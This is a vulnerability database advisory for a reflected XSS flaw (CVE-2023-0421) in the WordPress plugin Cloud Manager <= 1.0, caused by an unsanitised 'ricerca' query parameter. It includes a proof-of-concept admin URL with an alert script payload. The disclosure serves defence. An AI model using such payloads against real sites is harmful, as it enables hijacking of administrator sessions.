Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbShreya PohekarWPVDB-ID:A356FEA0-F143-4736-B2B2-C545C525335C
HistoryApr 12, 2023 - 12:00 a.m.

Cloud Manager <= 1.0 - Reflected XSS

2023-04-1200:00:00
Shreya Pohekar
wpscan.com
5
cloud manager
reflected xss
unsanitized query param
admin panel
unauthenticated attackers
xss payload

0.001 Low

EPSS

Percentile

47.2%

JSON

The plugin does not sanitise and escape the query param ricerca before outputting it in an admin panel, allowing unauthenticated attackers to trick a logged in admin to trigger a XSS payload by clicking a link.

PoC

http://example.com/wp-admin/admin.php?page=cloud-gestione-files&amp;ricerca;=<script>alert(document.domain)<%2Fscript>

CPENameOperatorVersion
cloud-managereq*

Related

wpexploit 1
prion 1
nvd 1
cve 1
cvelist 1
wordfence 1
wpexploit
wpexploit
Cloud Manager <= 1.0 - Reflected XSS
2023-04-12 00:00:00
prion
prion
Cross site scripting
2023-05-08 14:15:00
nvd
nvd
CVE-2023-0421
2023-05-08 14:15:11
cve
cve
CVE-2023-0421
2023-05-08 14:15:11
cvelist
cvelist
CVE-2023-0421 Cloud Manager <= 1.0 - Reflected XSS
2023-05-08 13:58:04
wordfence
wordfence
Wordfence Intelligence Weekly WordPress Vulnerability Report (Apr 10, 2023 to Apr 16, 2023)
2023-04-20 12:50:38

0.001 Low

EPSS

Percentile

47.2%

JSON
Related for WPVDB-ID:A356FEA0-F143-4736-B2B2-C545C525335C
wpexploit1prion1nvd1cve1cvelist1wordfence1